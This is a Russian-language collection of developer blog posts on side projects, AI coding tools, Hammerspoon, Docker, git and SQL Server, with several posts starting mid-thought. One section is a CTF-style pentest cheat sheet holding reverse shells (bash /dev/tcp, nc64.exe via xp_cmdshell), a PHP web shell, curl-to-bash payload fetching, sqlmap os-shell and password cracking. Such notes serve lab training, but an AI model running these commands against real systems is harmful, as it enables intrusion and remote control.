🪇 Нашуршали первый выпуск
Смотреть: https://youtu.be/GG6visgV5rs

Разбираем 3 новых продукта, которые нас зацепили:

AirPoint
Управление компом без мышки и трекпада. Курсор двигается за рукой через веб-камеру, а популярные действия можно назначить на жесты.
Сайт: https://www.airpoint.app/
Product Hunt: https://www.producthunt.com/products/airpoint
Автор — Mario Andres “Andrew” Flores: https://x.com/andrewflowersmd

Duck, Duck, Duck! от IDEO
Физическая и виртуальная AI-утка для Claude Code. Следит за сессией кодинга, реагирует на происходящее и помогает не терять контекст.
Сайт: https://duck-duck-duck.edges.ideo.com/
Product Hunt: https://www.producthunt.com/products/duck-duck-duck-by-ideo
GitHub / скачать приложение: https://github.com/ideo/duck-duck-duck
Команда проекта:
Jenna Fizel — https://www.linkedin.com/in/jftesser
Danny DeRuntz — https://www.linkedin.com/in/danny-deruntz-3200b419
Andrew Reischling — https://www.linkedin.com/in/andrew-reischling-9611b7167

DynamicLake
Приложение, которое превращает чёлку MacBook в интерактивный остров с музыкой, уведомлениями, файлами и другими полезностями.
Сайт: https://www.dynamiclake.com/
Product Hunt: https://www.producthunt.com/products/dynamiclake
Автор — Avior Rokach: https://x.com/AVIROK1

— Нашуршали

Сначала я думал, это сам ассистент пишет с какими-то trailing-пробелами. Попросил его не делать так. Не помогло. Полез разбираться – оказалось, что это рендер: терминал сдвигает текст ассистента на два пробела влево, чтобы визуально отделить от моего ввода. При копировании этот сдвиг честно уезжает в буфер обмена.

У iTerm2 для такого есть опция «Trim trailing whitespace when copying». У Wave – нет. У Claude Code в настройках тоже ничего похожего не нашлось.

Решил повесить на хоткей очистку буфера через Hammerspoon. Идея простая: жмёшь Cmd+Shift+V, Lua-скрипт берёт содержимое буфера, режет ведущие два пробела на каждой строке, кладёт обратно и эмулирует обычный Cmd+V.

Звучит на 10 строк кода. На деле я собрал коллекцию граблей.

Грабля 1. Hammerspoon hotkey API регистрирует комбинацию по символу. Когда я писал hs.hotkey.bind({"cmd","shift"}, "v", ...), он смотрел текущую раскладку. У меня в момент загрузки была русская – а на русской раскладке физическая клавиша V даёт букву "м". Хоткей зарегистрировался как ⌘⇧м и работал только в русской раскладке. Переключился на английскую – ничего не происходит.

Грабля 2. Попробовал передать чистый keycode числом – 9 это физическая клавиша V на любой раскладке. bindSpec принимает число, но молча его игнорирует и всё равно ищет строку. bind число принимает, но на физическое нажатие не реагировал – видимо что-то на уровне Carbon Events ломается с не-латинской раскладкой.

В итоге выкинул hotkey API целиком и переехал на hs.eventtap.new – это перехват на уровне CGEventTap, до приложений и до раскладки. Получаю чистый keyDown event, проверяю модификаторы и keycode 9 руками. Работает везде.

Грабля 3. Самая обидная. После всех правок Hammerspoon перезапускаю, конфиг загружается, hs.accessibilityState() возвращает true. А eventtap не получает ни одного события. Физически жму Cmd+Shift+V – в логах пусто. Программно через hs.eventtap.event.newKeyEvent(...):post() – срабатывает.

Полез в System Settings → Privacy & Security → Accessibility. Hammerspoon там есть, тумблер включён. Переключил OFF, подождал две секунды, обратно ON. Перезапустил Hammerspoon. Заработало.

Похоже, после pkill macOS закэшировал permission в состоянии «вроде дали, но реально не дали». Re-toggle перевыдаёт реальное разрешение на низкоуровневый event tap. accessibilityState() при этом всё время врал.

Итог: Cmd+Shift+V теперь чистит буфер перед вставкой. Обычный Cmd+V продолжает работать как раньше. Если когда-нибудь снова отвалится – знаю, что первым делом проверять.

Финальный ~/.hammerspoon/init.lua:

local function cleanText(s)
  if s == nil or s == "" then return s end
  s = s:gsub("^  ", "")           -- ведущие 2 пробела в самом начале
  s = s:gsub("\n  ", "\n")        -- ведущие 2 пробела после каждого \n
  s = s:gsub("[ \t]+\n", "\n")    -- висящие пробелы перед \n
  s = s:gsub("[ \t]+$", "")       -- висящие пробелы в самом конце
  return s
end

local tap = hs.eventtap.new({hs.eventtap.event.types.keyDown}, function(event)
  local flags = event:getFlags()
  -- keycode 9 = физическая клавиша V на US ANSI, не зависит от раскладки
  if flags.cmd and flags.shift and not flags.alt and not flags.ctrl
     and event:getKeyCode() == 9 then
    local raw = hs.pasteboard.getContents()
    if raw == nil or raw == "" then return true end

    hs.pasteboard.setContents(cleanText(raw))

    -- посылаем синтетический Cmd+V в фокусное приложение
    hs.timer.doAfter(0.02, function()
      hs.eventtap.event.newKeyEvent({"cmd"}, 9, true):post()
      hs.timer.usleep(20000)
      hs.eventtap.event.newKeyEvent({"cmd"}, 9, false):post()
    end)
    -- восстанавливаем оригинал буфера после вставки
    hs.timer.doAfter(0.6, function()
      hs.pasteboard.setContents(raw)
    end)

    return true  -- съедаем оригинальный Cmd+Shift+V, чтобы приложение его не видело
  end
  return false
end)
tap:start()

-- автоперезагрузка при изменении init.lua
hs.pathwatcher.new(os.getenv("HOME") .. "/.hammerspoon/", function(files)
  for _, f in ipairs(files) do
    if f:match("%.lua$") then hs.reload(); return end
  end
end):start()

hs.alert.show("Hammerspoon: Cmd+Shift+V для чистой вставки")

(«Normal 🔨Mere Tool🔨 behavior», — AI Notkilleveryoneism Memes)

А у вас как дела?

— Mikhail Samin

Судя по бенчмаркам, она заметно сильнее Opus 4.6 во всём:

SWE-bench Verified: 93.9% vs 80.8%
Humanity's Last Exam: 56.8% vs 40.0%
GPQA Diamond: 94.6% vs 91.3%
Кодинг, reasoning, агентные задачи — везде значительный отрыв

По сути это следующее поколение после Opus. Anthropic держит её закрытой по соображениям безопасности — модель слишком хорошо умеет находить и эксплуатировать уязвимости, поэтому давать её всем подряд пока рискованно.
Хотят сначала обкатать защитные фильтры на новом Opus, а потом уже открывать доступ к Mythos-классу широкой аудитории.

Я работаю с опусом каждый день и он уже часто со сложными задачами сам справляется, это что же дальше то будет? 🤯

Казалось, что на этом всё.

Но я случайно с домашнего компа без впн заметил, что сайт грузится не полностью, модуль количества партий почему-то скрыт. Полез разбираться.

Со стороны сервера всё выглядит ок:
curl https://chess.rodeo
отвечает быстро, API работает, ошибок нет.

Начал смотреть соединения и увидел странную картину:

TCP до сервера есть,
TLS handshake проходит,
а дальше некоторые HTTP запросы зависают.

То есть соединение установилось, но ответа нет.

Сначала подумал, что это что-то у меня. Проверил Caddy, backend, логи, что только не перепробовал – ничего не помогает.

Написал хостеру. Они сказали, что у них всё нормально и проблем на сети не видят.

В итоге решил пустить трафик через прокси, заодно кэширование настроить и лимиты по количеству запросов – все заработало.

Похоже, что у некоторых провайдеров где-то по дороге до сервера ломался именно HTTP/HTTPS трафик. Через другой маршрут всё работает. При этом ping проходит, ssh тоже спокойно устанавливается. И можно думать что вроде все окей и даже не знать что у тебя проблема.

В идеале конечно не полагаться на один маршрут и один IP. Нужен прокси или CDN с несколькими точками входа, чтобы трафик мог идти разными путями. И все обвешать мониторингом (привет sentry) и аналитикой.

Я зарегистрировал chess.rodeo через Cloudflare. Всё работало, пока мне не написали: «у меня ссылка не открывается». Стал разбираться – оказалось, что ряд российских провайдеров блокирует Cloudflare на уровне NS-серверов. То есть домен просто не резолвится, и для пользователя это выглядит так, будто сайта не существует.

По этой же причине проксировать трафик через Cloudflare тоже не стоит. Да, у Cloudflare-прокси куча плюсов – DDoS-защита, ускорение загрузки за счёт раздачи статики с ближайшего к пользователю сервера, показ закэшированной версии сайта при падении сервера (Always Online) и базовая защита от типовых атак вроде SQL-инъекций (WAF) – но если часть пользователей в принципе не может до вас достучаться, толку от этих плюсов ноль.

Что можно сделать, если вы уже зарегистрировались на Cloudflare:

• Переехать на другого регистратора можно только через 60 дней после регистрации (требование ICANN), и нужно будет оплатить сразу продление на один год. Раньше – никак.
• На бесплатном тарифе Cloudflare нельзя сменить NS-серверы на другие (не-Cloudflare'овские). Есть вариант включить Multi-provider DNS – мы пробовали. Работает через раз, когда случайно выбрался незаблокированный ns. Лучше, чем ничего, но стабильным решением это не назвать.
• Можно взять платный тариф Business ($200/мес) – только на нём доступны кастомные NS-серверы. Но если вы платите $200 в месяц только за то, чтобы домен нормально открывался в России, зачем вообще было регистрироваться на Cloudflare?

Итог: я перешёл на Porkbun. Вроде бы блокировок нет, на 100% утверждать не буду. Если делаете проект для российской аудитории – берите регистратора, чьи NS не под блокировками.

Сделал расширение в первую очередь для себя, чтобы убрать трение. При этом у Chrome есть поиск по расширениям, а сами расширения индексируются в Google. В итоге это может оказаться ещё и точкой входа для новых пользователей.

Еще оно цепляет аудиторию. Если человек его поставил, значит продукт ему реально нужен. До такого пользователя потом проще достучаться, напомнить о себе, показать апдейт или дать ранний доступ.

Само расширение делается довольно просто. Claude или Codex соберут расширение под ваш продукт с одного-двух промптов.

Синтаксис и туториалы по JavaScript не нужны: говоришь "сделай форму обратной связи" и получаешь форму.

Почему раньше это не работало

GPT-3 мог накидать функцию, но проект из этого не собирался: модель теряла контекст, путала файлы и через минуту забывала, что делала.

Сейчас Claude 4.5, GPT-5, Gemini 3 держат в голове весь проект. Понимают даже когда объясняешь криво. Сами находят и фиксят баги.

Плюс появились нормальные инструменты: Cursor, Claude Code, Codex. Пишешь что надо, AI правит файлы, видишь результат. Весь цикл за секунды.

Кому это нужно

Продактам, дизайнерам, фаундерам, маркетологам. Всем кто хочет делать продукты, но не хочет три года учить программирование.

Продакт может сам собрать прототип вместо того чтобы писать ТЗ. Дизайнер превратит макет в рабочий сайт. Фаундер проверит идею за выходные.

Что можно сделать

За пару часов: лендинг, телеграм-бот, расширение для браузера, скрипт для автоматизации.

За выходные: SaaS с авторизацией, инструмент с базой данных. Я так делаю chess.rodeo.

С чего начать

Выбери инструмент:

• Lovable или Replit – всё в браузере, ничего ставить не надо
• Codex – сложнее разобраться, но гибче
• Claude Code – популярный, но для нормальной работы нужен тариф от $100/мес

Больше про инструменты писал отдельно.

Начни с чего-то мелкого. Не надо сразу делать "убийцу Notion", лучше сделай личную страницу или бота который шлёт погоду.

Главное: научиться объяснять AI что тебе нужно. Это навык, приходит с практикой.

Про ограничения

Вайбкодинг не сделает тебя программистом. Ты не будешь понимать что там внутри происходит. Для большинства задач это и не нужно: хватает работающего продукта.

Захочешь разобраться глубже — разберёшься, но для старта это лишнее.

Если хочешь научиться, я провожу менторство. За несколько созвонов покажу как делать продукты самому.

Не потому что анализ плохой, а потому что процесс – гемор.

Каждый раз одно и то же:

• открыть chess.rodeo
• нажать синхронизацию
• найти нужную партию
• запустить анализ

Вроде ничего сложного, но это трение, из-за которого привычка просто не формируется.
Вместо анализа проще просто следующую партию стартануть.

В итоге я сделал Chrome-расширение,
которое встраивается прямо в chess.com.
Закончилась партия – тут же кнопка, которая открывает страницу анализа.

Мне этого оказалось достаточно, чтобы самому начать пользоваться продуктом чаще.
Хотя стартануть следующую партию все еще приятнее, чем в анализе ковыряться.
Буду дальше думать.

В статистике только пользователи, которые согласились на использование cookies, поэтому реальное число выше.
Накруток и платного маркетинга не было — я просто делаю удобный шахматный сервис ♟️

Немного цифр с продакшена:
— 216k+ загруженных партий
— 8.4k проанализировано

Из «маркетинга» — несколько видео на YouTube и один shorts.
Остальное — органика.

Если будете пробовать, лучше ставьте как расширение для VS Code. Я проверил вариант с установкой в терминал, который сейчас всегда использую и рекомендую для всего что выше перечислял. Но не в этом случае, у Kilo Code терминальный интерфейс прям неудобный: • нет режима разрешаю все, он как бы есть, но как бы не все разрешает 😅 • чтобы сессию прошлую продолжить надо прям подолбаться • если в двух окнах открыть, второе как будто перехватывает управление у первого инстанса В общем, в терминале выглядит пока сомнительно. А вот как расширение очень приятно все выглядит и работает хорошо. Еще и похвалил меня за работу, тоже приятно.

Очень жирное предложение, если она правда круче Opus, то за эти 6 дней можно успеть сделать несколько проектов и оценить как это все работает не потратив ни копейки.

1. ChatGPT Codex
   https://openai.com/chatgpt 20$ в месяц, входит в обычную Plus-подписку, которую многие и так платят. Очень большие лимиты — если сравнивать с Claude, это как их план за ~100$. Если не сидеть в нём весь рабочий день, а использовать для своих сайд-проектов – это сейчас, по-моему, лучший вариант. Плюс у Codex большое окно памяти: он спокойно переваривает крупные проекты и не уходит постоянно в «задумчивость» из-за переполненного контекста.
2. Claude Code (Max)
   https://www.anthropic.com/claude Подписка за 100$, но по факту часто приходится брать 200$, если реально работаешь целый день или ведёшь несколько проектов. За 20$ даже смысла нет брать, она заканчивается моментально, даже на сайд проект не хватит, особенно если включить топовую модель Opus. Как продукт в целом, они лучшие сейчас. Задают направление, остальные в основном догоняют. По отзывам Opus считается самой «умной» моделью на рынке. По моему опыту — не факт что она прям умнее Codex, но если нужно писать много кода и есть лишние 200$ — это вероятно лучший вариант (хотя я не брал подписку за 200$ от ChatGPT, может она лучше).
3. OpenCode
   https://opencode.ai Открытый инструмент. Можно бесплатно использовать некоторые модели, подключать API GPT или Claude, или вообще свои локальные модели. Хороший вариант если хочется вообще бесплатно попробовать или локальные модели использовать.
4. Kimi K2.5
   https://kimi.com Вышла буквально вчера. Уже слышал хорошие отзывы, сам пока не пробовал. Заявляют уровень Opus, стоит сильно дешевле, и теоретически можно развернуть локально урезанную версию (нужна видеокарта с большим объёмом памяти).
5. GLM-4.7
   https://github.com/THUDM/GLM Китайская модель, тоже целится в конкуренцию с Opus и Codex. Насколько хороша – не скажу, но стоит дешевле. И у них есть облегчённая версия GLM-4.7 Flash, которую можно использовать бесплатно через тот же OpenCode. Или цепануть к модному нынче Clawdbot (Moltbot) — и вообще не думать про токены/деньги.
6. Google Antigravity
   https://deepmind.google/technologies/alphacode/ В России не работает, но можно извернуться и подключить через тот же OpenCode. Сколько хватает бесплатных лимитов — не знаю, но если хочется хоть немного пощупать Opus бесплатно, это вариант.
7. Copilot
   https://github.com/features/copilot У меня с ним не сложилось. Два подхода: в первый раз не смог оплатить, во второй — подписка вроде прошла, но в одном проекте он её не видел, в другом постоянно подвисал и сыпал ошибками. Хотя по цене и лимитам он выглядит неплохо: 10$ — 300 запросов к Claude Sonnet, 39$ — 1500 запросов. Но личный опыт был так себе. Если вы только начинаете писать код с нейросетями – берите Codex и не парьтесь. Для старта сейчас это самый нормальный вариант.

Голливудские нейросетевые трейлеры фильмов больше нельзя отличить от реальных. Ни по картинке, ни по монтажу, ни по игре актёров.

ИИ-слоп готовится зайти в кинотеатры💀

— кабачковая икра по акции

Многие сейчас используют Supabase вместе с n8n — это визуальный инструмент для автоматизаций, где логику собираешь из блоков: триггеры, запросы, действия, интеграции. Без кода или с минимальным рукоблудством. Стартуешь за минуты, многое работает сразу.

Для прототипов и небольших сервисов — вполне.

Где-то на второй или третий день я уже начал думать, что, может, стоило выбрать другое решение. Но каждый раз казалось: вот ещё чуть-чуть — и всё взлетит, как надо. И тогда будет счастье. Но что-то оно не приходило.

После пятого дня стало ещё сложнее. Выкидывать уже жалко: много чего вокруг завязано, за сервер заплачено, и вроде бы «почти работает». А по ощущениям — всё равно не так, как должно.

В какой-то момент я поставил себе дедлайн: если к нему это не заработает нормально — сворачиваемся. Без «ещё одного вечера» и «давай попробуем вот это».

Не взлетело, и я выкинул. Ещё полдня ушло на то, чтобы перевести всё на обычную базу, и я пошёл делать другие фичи.

Не знаю, сколько бы ещё возился с этим модным решением. Иногда приходится признать, что куча времени уже закопана, и всё равно бросить. Обидно, но иначе закопаешь ещё больше.

Взамен получил систему сложнее, чем мне нужно, и с ограничениями, которые мне не подошли. У меня есть другие проекты, им тоже нужна база, а у Supabase она одна. Ещё оказалось, что ресурсов эта махина ест прилично.

В итоге я просто поднял Postgres в контейнерах на том же сервере, где живут остальные сервисы, и ничего сверху за него не плачу.

Надо было больше времени потратить на подумать, чем на поделать. Хотя попробовать новое очень хотелось.

Когда работаешь один, каждый неудачный выбор съедает время, а его на эксперименты немного. Опыт полезный, но без него я бы обошёлся.

Kali OS

Выбор сетевых репозиториев

По умолчанию:

echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" | sudo tee /etc/apt/sources.list

Более стабильная версия:

echo "deb http://http.kali.org/kali kali-last-snapshot main contrib non-free" | sudo tee /etc/apt/sources.list

Установить все инструменты:

sudo apt install -y kali-linux-large

Установить GUI:

sudo apt install -y kali-win-kex

Документация GUI. Запуск GUI, для выхода из полноэкранного режима нажмите F8:

kex --win -s

Wappalyzer — расширение браузера, которое показывает, на каких технологиях сделан сайт.

OpenVPN

sudo openvpn --config vpn.ovpn --daemon

Сетевой интерфейс покажет команда ifconfig.

Отключение

sudo ifconfig tun1 down

Поиск веб-каталогов на сайте: dirsearch -u http://october.metaltech.stf/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt

Responder

sudo responder -I tun0

John the ripper

zip2john backup.zip > hashes

john -w=/usr/share/wordlists/rockyou.txt hash.txt

Определение возможных хешей

hashid 2cb42f8734ea607eefed3b70af13bbd3

Взлом хеша

hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt

Пентестинг MSSQL

Шпаргалка по SQL-инъекциям MSSQL

Impacket mssql клиент

impacket-mssqlclient ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.17.81/nc64.exe -outfile nc64.exe"
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.17.81 443"

SQL map

sqlmap -u 'http://10.129.10.184/dashboard.php?search=asd' --cookie='PHPSESSID=tg7rj9h95j4bb1u3211ti406qo'

sqlmap -u 'http://10.129.10.184/dashboard.php?search=asd' --cookie='PHPSESSID=tg7rj9h95j4bb1u3211ti406qo' --os-shell

winPEAS (повышение привилегий Windows)

linPEAS (повышение привилегий Linux)

Evil Win Remote

evil-winrm -i 10.129.233.177 -u administrator -p badminton

Nmap

sudo nmap -sV 192.168.1.1

sudo nmap -sV -sC 192.168.1.1

sudo nmap -p- --min-rate 5000 -sV 192.168.1.1

Gobuster

go install github.com/OJ/gobuster/v3@latest
git clone https://github.com/danielmiessler/SecLists.git
gobuster dir --url http://10.129.236.130/ --wordlist ./SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
gobuster dir --url http://10.129.119.70/ --wordlist ./SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -x php,html
gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb

MySQL

mysql -h 10.129.132.32 -u root

SHOW databases; : Выводит базы данных, к которым есть доступ.
USE {database_name}; : Переключиться на базу данных с именем {database_name}.
SHOW tables; : Выводит доступные таблицы в текущей базе данных.
SELECT * FROM {table_name}; : Выводит все данные из таблицы {table_name}.

SMB

smbclient -N -L \\\\{TARGET_IP}\\
-N : Без пароля
-L : Эта опция позволяет посмотреть, какие сервисы доступны на сервере

Полностью интерактивные оболочки

Простой PHP Shell

echo '<?php system($_GET["cmd"]); ?>' > shell.php

Reverse Shell

printf '#!/bin/bash\nbash -i >& /dev/tcp/<YOUR_IP_ADDRESS>/1337 0>&1' > shell.sh

Или

bash -c "bash -i >& /dev/tcp/{your_IP}/1337 0>&1"

Запуск ncat listener

nc -nvlp 1337

Запуск веб-сервера

python3 -m http.server 8000

Пример запуска

http://thetoppers.htb/shell.php?cmd=curl%20%3CYOUR_IP_ADDRESS%3E:8000/shell.sh|bash

Функциональная оболочка

python3 -c 'import pty;pty.spawn("/bin/bash")'

Улучшение оболочки

script /dev/null -c bash

Burp Suite

Metasploit

sqlmap

https://zerossl.com/

Если нужно конвертировать CRT в PFX, скачайте openssl отсюда:

https://indy.fulgan.com/SSL/

Подойдёт что-то вроде "openssl-1.0.2q-x64_86-win64.zip".

Если у вас отдельный crt для CA, объедините его с основным сертификатом в текстовом редакторе и назовите новый файл bundle.crt

Скопируйте все сертификаты в папку openssl. Откройте папку в терминале и выполните команду:

.\openssl pkcs12 -export -out result.pfx -inkey private.key -in bundle.crt

Задайте пароль для нового сертификата. Если всё сделано правильно, в папке openssl появится result.pfx.

• Visual Studio Code

• Figma

• Brew

  /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  

• Iterm

  brew install --cask iterm2
  

• Zsh

  sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
  

• Spectacle

• Notion

Перейдите на страницу организаций Unity и создайте команду.

Создайте новый проект или откройте существующий.

Перейдите в Window > General > Services.

В правом верхнем углу нажмите "Collab" и сделайте свой первый коммит.

Проект появится на странице проектов.

Выберите его, чтобы увидеть подробности.

Удачи с новым проектом 😉

Я всегда хотел использовать макбук эффективнее и успевать больше, чем сейчас. И нашёл способ!

Automator

Эта программа уже есть на вашем Mac, устанавливать ничего не нужно: введите Automator в поиске 😉

Она автоматизирует рутинные задачи на Mac. Позже опубликую примеры, как ей пользоваться и успевать больше.

docker cp app:/app/config.yml .

app — имя или ID контейнера из docker ps. Первый путь — внутри контейнера, второй — на вашем компьютере. Чтобы сразу переименовать файл, укажите новое имя: ./config.backup.yml. Если такой файл уже есть, Docker перезапишет его без вопросов.

Проверено на Docker 29.7 и Docker Compose 5.5 с контейнерами Alpine 3.24 и nginx:alpine.

Как узнать имя контейнера и путь к файлу

docker ps -a
docker exec app ls -l /app

docker ps -a показывает и остановленные контейнеры. Путь в контейнере всегда отсчитывается от корня: рабочую директорию docker cp не учитывает. Если WORKDIR контейнера — /app, то app:config.yml означает /config.yml. Полный путь к файлу из WORKDIR покажет docker exec app readlink -f config.yml.

Как скопировать папку из контейнера

# ./logs нет: Docker создаст её и положит туда файлы
docker cp app:/app/logs ./logs
# ./backup есть: получится ./backup/logs
docker cp app:/app/logs ./backup
# только содержимое: ./backup/a.log, ./backup/b.log
docker cp app:/app/logs/. ./backup

Если папки назначения нет, Docker создаёт её и кладёт туда содержимое исходной папки. Если она есть, исходная папка окажется внутри. Исключение — источник с /. на конце: тогда копируется только содержимое. Один слэш на конце (logs/) ничего не меняет.

Как скопировать файл с хоста в контейнер

Поменяйте аргументы местами:

docker cp ./settings.yml app:/app/
# получится /srv/static
docker cp ./static app:/srv
# содержимое static попадёт в /var/www
docker cp ./static/. app:/var/www

Правила для папок те же. Скопированный файл живёт только в этом контейнере: после docker rm или docker compose up --force-recreate его не будет. Файлы, без которых приложение не работает, кладите в образ (COPY в Dockerfile) или в том (volume).

Как скопировать файл внутри контейнера или между контейнерами

Скопировать файл внутри контейнера можно обычным cp:

docker exec app cp /app/config.yml /app/config.bak

Чтобы скопировать файлы между двумя контейнерами, передайте вывод одного docker cp в другой:

docker cp app:/app/logs - | docker cp - other:/tmp

Остановленный контейнер тоже подойдёт

docker cp работает с остановленными контейнерами в обе стороны. Если контейнер падает при старте, достаньте из него логи, положите исправленный конфиг и запустите docker start app. Файлы из томов тоже копируются.

docker compose cp

В папке с compose.yaml вместо имени контейнера пишите имя сервиса:

docker compose cp web:/app/config.yml .
docker compose cp ./override.yml web:/app/

Если у сервиса несколько реплик, при копировании в сервис файл попадёт в каждую. При копировании из сервиса Compose возьмёт файл у одной реплики, не обязательно у первой. Нужную выберите через --index:

docker compose cp --index 2 web:/app/config.yml .

С остановленными сервисами docker compose cp тоже работает.

Права и владелец файлов

Права доступа (rwx) сохраняются в обе стороны. Владелец сохраняется только при копировании в контейнер, и только как числа UID и GID.

Из контейнера на хост: файлы принадлежат тому, кто запустил docker cp. Поэтому после sudo docker cp в Linux файлы на хосте принадлежат root. Вернуть их себе:

sudo chown -R "$(id -u):$(id -g)" ./logs

Чтобы обходиться без sudo, добавьте себя в группу docker (sudo usermod -aG docker $USER) и перелогиньтесь, как с любой новой группой. Учтите: эта группа даёт на машине права root.

С хоста в контейнер: файлы сохраняют числовые UID и GID, которые были у них на хосте, и sudo docker cp их не меняет. У обычного пользователя Linux это 1000:1000, на Mac — 501:20. Если приложение в контейнере работает под другим пользователем, записать в такой файл оно не сможет: Permission denied. С флагом -a Docker отдаёт файлы пользователю контейнера, тому, что задан в --user или USER в Dockerfile:

docker cp -a ./settings.yml app:/app/

Если ни --user, ни USER не заданы, -a ничего не меняет. При копировании из контейнера флаг тоже ни на что не влияет. Поменять владельца потом: docker exec -u 0 app chown 1000:1000 /app/settings.yml.

Как достать файл из образа

docker cp работает только с контейнером, но запускать его не обязательно. docker create создаёт контейнер из образа и ничего не запускает:

docker create --name tmp nginx:alpine
docker cp tmp:/etc/nginx/nginx.conf .
docker rm tmp

Если у образа нет команды по умолчанию (FROM scratch), Docker ответит no command specified. Передайте любую команду, выполнять её никто не будет:

docker create --name tmp my-image none

Как передать tar-архив через -

Если вместо локального пути написать -, docker cp выдаст tar-архив в stdout или прочитает его из stdin:

docker cp app:/app/logs - > logs.tar
docker cp app:/app/logs - | gzip > logs.tar.gz
tar -c -C ./site . | docker cp - app:/var/www

При чтении из stdin папка назначения должна существовать, архив в gzip тоже подойдёт. На Mac tar добавляет в архив расширенные атрибуты, и Docker падает с ошибкой xattr "com.apple.provenance": operation not supported. Упакуйте без них:

COPYFILE_DISABLE=1 tar --no-xattrs -c -C ./site . | docker cp - app:/var/www

У обычного docker cp ./site/. app:/var/www такой проблемы нет.

Как скопировать файлы по маске или из tmpfs

Маски docker cp не раскрывает: docker cp 'app:/app/logs/*.log' . закончится ошибкой. В tmpfs он видит пустую папку, а /proc, /sys и /dev не читает вовсе. В таких случаях запустите tar в работающем контейнере:

mkdir -p logs scratch
docker exec app sh -c 'cd /app/logs && tar -c *.log' | tar -x -C ./logs
docker exec app tar -c -C /scratch . | tar -x -C ./scratch

docker exec здесь без -t: с терминалом архив придёт битым.

Как скопировать файл из контейнера в Windows

В PowerShell команда та же. Путь с буквой диска Docker считает локальным:

docker cp app:/app/config.yml C:\Users\me\Desktop

Частые ошибки

• No such container: app — контейнера с таким именем или ID нет, сверьтесь с docker ps -a. Compose называет контейнеры вида project-web-1, а в docker compose cp нужно имя сервиса.
• Could not find the file /app/config.yml in container app — неверный путь в контейнере. При копировании в контейнер ошибка значит, что нет папки, куда вы копируете: для app:/app/conf/settings.yml это /app/conf. Та же ошибка бывает с путями от WORKDIR, с масками и с файлами в tmpfs.
• no such directory или invalid output path: directory "…" does not exist — нет папки назначения на хосте или в контейнере. Создайте её через mkdir -p, в контейнере — docker exec app mkdir -p /app/conf.
• cannot copy directory — вы копируете папку поверх существующего файла.
• copying between containers is not supported — в обоих аргументах есть двоеточие. Если двоеточие стоит в имени локального файла, допишите в начало ./: ./backup:1.yml.
• must specify at least one container source — ни в одном аргументе нет контейнер:.
• container rootfs is marked read-only — контейнер запущен с --read-only. В его тома копировать можно.
• Вместо файла пришла битая ссылка: источник был симлинком, и Docker скопировал саму ссылку. С флагом -L он скопирует файл, на который она указывает.

git init

Добавьте все файлы в следующий коммит:

git add .

Проверьте статус git:

git status

Создайте первый коммит:

git commit -m "Ваш комментарий"

Привяжите github-репозиторий и отправьте изменения:

# связать локальный репозиторий с удалённым
git remote add origin <Ссылка на GitHub Repo>

# проверить ссылку
git remote -v

# отправить закоммиченные изменения в удалённый репозиторий
git push -u origin master

ng new

Обновить приложение и его зависимости

ng update

Для разработки, запустить приложение на localhost:4200

ng serve --open

Сгенерировать новый компонент

ng generate component [имя компонента]

Установить in-memory Web API

npm install angular-in-memory-web-api --save

Публикация Angular в Azure

SET IDENTITY_INSERT dbo.Tool ON;

-- Список столбцов обязателен
INSERT INTO dbo.Tool (ID, Name)
VALUES (3, 'Garden shovel');

SET IDENTITY_INSERT dbo.Tool OFF;

Чтобы после удаления всех строк через DELETE нумерация снова началась с 1 (для IDENTITY(1,1)):

-- Таблицу очистили через DELETE: следующий ID будет 0 + 1
DBCC CHECKIDENT ('dbo.Tool', RESEED, 0);

Если таблицу очистили через TRUNCATE TABLE, та же команда даст следующей строке ID 0. Подробности ниже.

Правила IDENTITY_INSERT

• Без списка столбцов вставка падает с ошибкой 8101: An explicit value for the identity column in table 'MyDb.dbo.Tool' can only be specified when a column list is used and IDENTITY_INSERT is ON. Со списком, но при выключенном IDENTITY_INSERT — с ошибкой 544: Cannot insert explicit value for identity column in table 'Tool' when IDENTITY_INSERT is set to OFF.
• В одном сеансе IDENTITY_INSERT включается только для одной таблицы. Если включить его для второй, SQL Server ответит ошибкой и назовёт таблицу, где он уже включён.
• Если вставить значение больше текущего счётчика, SQL Server передвинет счётчик: после ручной вставки ID 1000 следующий автоматический ID будет 1001.
• Нужно быть владельцем таблицы или иметь на неё право ALTER.

DBCC CHECKIDENT RESEED: 0 или 1

После DBCC CHECKIDENT ('dbo.Tool', RESEED, N) следующая строка получит:

Откаченная вставка считается удалённой строкой: следующий ID будет N + шаг.

После TRUNCATE TABLE команда CHECKIDENT не нужна: TRUNCATE сам сбрасывает счётчик к начальному значению из определения таблицы.

Проверить и поправить счётчик

-- Текущий счётчик и наибольший ID в столбце; ничего не меняет
DBCC CHECKIDENT ('dbo.Tool', NORESEED);

-- Текущее значение счётчика
SELECT IDENT_CURRENT('dbo.Tool');

-- Если счётчик меньше наибольшего ID, поднять его до наибольшего ID
DBCC CHECKIDENT ('dbo.Tool', RESEED);

RESEED без числа счётчик не уменьшает. После удаления последних строк уменьшите его в два шага: поставьте маленькое значение, потом RESEED поднимет его до наибольшего оставшегося ID:

DBCC CHECKIDENT ('dbo.Tool', RESEED, 0);
DBCC CHECKIDENT ('dbo.Tool', RESEED);

Не ставьте счётчик ниже наибольшего ID в таблице со строками. С ограничением PRIMARY KEY или UNIQUE следующие вставки упадут с ошибкой 2627. Без ограничения появятся повторяющиеся ID.

Для DBCC CHECKIDENT нужно быть владельцем схемы или состоять в sysadmin, db_owner или db_ddladmin.

Что не сработает

• UPDATE dbo.Tool SET ID = 5 WHERE ID = 3 падает с Cannot update identity column 'ID'. Чтобы поменять ID, вставьте копию строки через IDENTITY_INSERT и удалите старую.
• CHECKIDENT не перенумеровывает существующие строки и не меняет начальное значение из определения таблицы. Для этого придётся пересоздать столбец.
